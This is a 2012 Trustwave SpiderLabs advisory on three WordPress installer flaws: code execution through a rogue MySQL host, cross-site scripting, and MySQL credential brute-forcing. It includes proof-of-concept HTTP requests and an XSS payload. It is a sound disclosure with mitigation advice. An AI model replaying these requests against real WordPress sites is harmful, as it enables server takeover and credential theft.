Trustwave's SpiderLabs Security Advisory TWSL2012-002:
Multiple Vulnerabilities in WordPress |
https://www.trustwave.com/spiderlabs/advisories/TWSL2012-002.txt |
Vendor: WordPress (http://wordpress.org/) |
Version affected: 3.3.1 and prior |
WordPress is a free and open source blogging tool and publishing platform |
powered by PHP and MySQL. |
Credit: Jonathan Claudius of Trustwave SpiderLabs |
Finding 1: PHP Code Execution and Persistent Cross Site Scripting |
Vulnerabilities via 'setup-config.php' page. |
The WordPress 'setup-config.php' installation page allows users to install |
WordPress in local or remote MySQL databases. This typically requires a user |
to have valid MySQL credentials to complete. However, a malicious user can |
host their own MySQL database server and can successfully complete the |
WordPress installation without having valid credentials on the target system. |
After the successful installation of WordPress, a malicious user can inject |
malicious PHP code via the WordPress Themes editor. In addition, with control |
of the database store, malicious Javascript can be injected into the content |
of WordPress yielding persistent Cross Site Scripting. |
A.B.C.D = Target WordPress Web Server |
W.X.Y.Z = Malicious User's MySQL Instance |
1.) Malicious User hosts their own MySQL instance at W.X.Y.Z on port 3306 |
2.) Performs POST/GET Requests to Install WordPress into MySQL Instance |
POST /wp-admin/setup-config.php?step=2 HTTP/1.1 |
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1 |
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 |
Accept-Language: en-us,en;q=0.5 |
Accept-Encoding: gzip, deflate |
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 |
Proxy-Connection: keep-alive |
Referer: http://A.B.C.D/wp-admin/setup-config.php?step=1 |
Cookie: wp-settings-time-1=1322687480; wp-settings-1=m9%3Do |
Content-Type: application/x-www-form-urlencoded |
dbname=wordpress&uname=jsmith&pwd=jsmith&dbhost=W.X.Y.Z&prefix=wp_&submit=Submit |
GET /wp-admin/install.php HTTP/1.1 |
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1 |
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 |
Accept-Language: en-us,en;q=0.5 |
Accept-Encoding: gzip, deflate |
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 |
Proxy-Connection: keep-alive |
Referer: http://A.B.C.D/wp-admin/setup-config.php?step=2 |
Cookie: wp-settings-time-1=1322687480; wp-settings-1=m9%3Do |
If-Modified-Since: Wed, 07 Dec 2011 16:03:33 GMT |
3.) Get PHP Code Execution |
Malicious user edits 404.php via Themes Editor as follows: |
Note #1: Any php file in the theme could be used. |
Note #2: Depending settings, PHP may be used to execute system commands |
Malicious user performs get request of modified page to execute code. |
GET /wp-content/themes/default/404.php HTTP/1.1 |
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1 |
4.) Get Persistent Cross Site Scripting |
Malicious User Injects Malicious Javascript into their own MySQL database instance |
comment_content='<script>alert('123')</script>' where comment_content='Hi, |
this is a comment.<br />To delete \ a comment, just log in and view the |
post's comments. There you will have the option to edit or delete |
Non-malicious User Visits Wordpress installation and has Javascript executed on their browser |
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1 |
Finding 2: Multiple Cross Site Scripting Vulnerabilities in |
The WordPress 'setup-config.php' installation page allows users to install |
WordPress in local or remote MySQL databases. When using this installation page |
the user is asked to supply the database name, the server that the database |
resides on, and a valid MySQL username and password. |
During this process, malicious users can supply javascript within |
the "dbname", "dbhost" or "uname" parameters. Upon clicking the submission |
button, the javascript is rendered in the client's browser. |
A.B.C.D = Target WordPress Web Server |
POST /wp-admin/setup-config.php?step=2 HTTP/1.1 |
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1 |
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 |
Accept-Language: en-us,en;q=0.5 |
Accept-Encoding: gzip, deflate |
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 |
Proxy-Connection: keep-alive |
Referer: http://A.B.C.D/wp-admin/setup-config.php?step=1 |
Content-Type: application/x-www-form-urlencoded |
dbname=%3Cscript%3Ealert%28%27123%27%29%3C%2Fscript%3E&uname=root&pwd=&dbhost=localhost&prefix=wp_&submit=Submit |
Finding 3: MySQL Server Username/Password Disclosure Vulnerability via |
The WordPress 'setup-config.php' installation page allows users to install |
WordPress in local or remote MySQL databases. When using this installation page |
the user is asked to supply the database name, the server the database resides |
on, and a valid MySQL username and password. |
Malicious users can omit the "dbname" parameter during this process, allowing |
them to continually bruteforce MySQL instance usernames and passwords. This |
includes any local or remote MySQL instances which are accessible to the |
target web server. This can also be used as a method to proxy MySQL bruteforce |
attacks against other MySQL instances outside of the target organization. |
A.B.C.D = Target WordPress Web Server |
L.M.N.O = Any MySQL Server for which the Web Server has network access |
POST /wp-admin/setup-config.php?step=2 HTTP/1.1 |
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1 |
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 |
Accept-Language: en-us,en;q=0.5 |
Accept-Encoding: gzip, deflate |
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 |
Proxy-Connection: keep-alive |
Referer: http://A.B.C.D/wp-admin/setup-config.php?step=1 |
Content-Type: application/x-www-form-urlencoded |
uname=mysql&pwd=mysql&dbhost=L.M.N.O |
Response (If Password is Valid) |
------------------------------- |
We were able to connect to the database server (which means your username |
and password is okay) but not able to select the database. |
Response (If Password is Invalid) |
--------------------------------- |
This either means that the username and password information in your |
wp-config.php file is incorrect or we can't contact the database server at |
localhost. This could mean your host's database server is down. |
Due to the fact that the component in question is an installation script, |
the vendor has stated that the attack surface is too small to warrant |
"We give priority to a better user experience at the install process. It is |
unlikely a user would go to the trouble of installing a copy of WordPress |
and then not finishing the setup process more-or-less immediately. The |
window of opportunity for exploiting such a vulnerability is very small." |
However, Trustwave SpiderLabs urges caution in situations where the |
WordPress installation script is provided as part of a default image. |
This is often done as a convenience on hosting providers, even in |
cases where the client does not use the software. It is a best practice |
to ensure that no installation scripts are exposed to outsiders, and |
these vulnerabilities reinforce the importance of this step. |
No official fix for these issues will be released for the WordPress |
publishing platform. However, administrators can mitigate these issues by |
creating strong MySQL passwords and defining rules within a web application |
firewall (WAF) solution. ModSecurity (http://www.modsecurity.org/) has |
added rules to the commercial rules feed for these issues, and Trustwave's |
vulnerability scanning solution, TrustKeeper, has been updated to detect |
exposed installation scripts. |
Vendor Communication Timeline: |
12/22/11 - Vulnerability disclosed |
01/16/12 - Confirmation to release vulnerabilities |
01/24/12 - Advisory published |
1. http://www.wordpress.org |
Trustwave is the leading provider of on-demand and subscription-based |
information security and payment card industry compliance management |
solutions to businesses and government entities throughout the world. For |
organizations faced with today's challenging data security and compliance |
environment, Trustwave provides a unique approach with comprehensive |
solutions that include its flagship TrustKeeper compliance management |
software and other proprietary security solutions. Trustwave has helped |
thousands of organizations--ranging from Fortune 500 businesses and large |
financial institutions to small and medium-sized retailers--manage |
compliance and secure their network infrastructure, data communications and |
critical information assets. Trustwave is headquartered in Chicago with |
offices throughout North America, South America, Europe, Africa, China and |
Australia. For more information, visit https://www.trustwave.com |
About Trustwave's SpiderLabs: |
SpiderLabs(R) is the advanced security team at Trustwave focused on |
application security, incident response, penetration testing, physical |
security and security research. The team has performed over a thousand |
incident investigations, thousands of penetration tests and hundreds of |
application security tests globally. In addition, the SpiderLabs Research |
team provides intelligence through bleeding-edge research and proof of |
concept tool development to enhance Trustwave's products and services. |
https://www.trustwave.com/spiderlabs |
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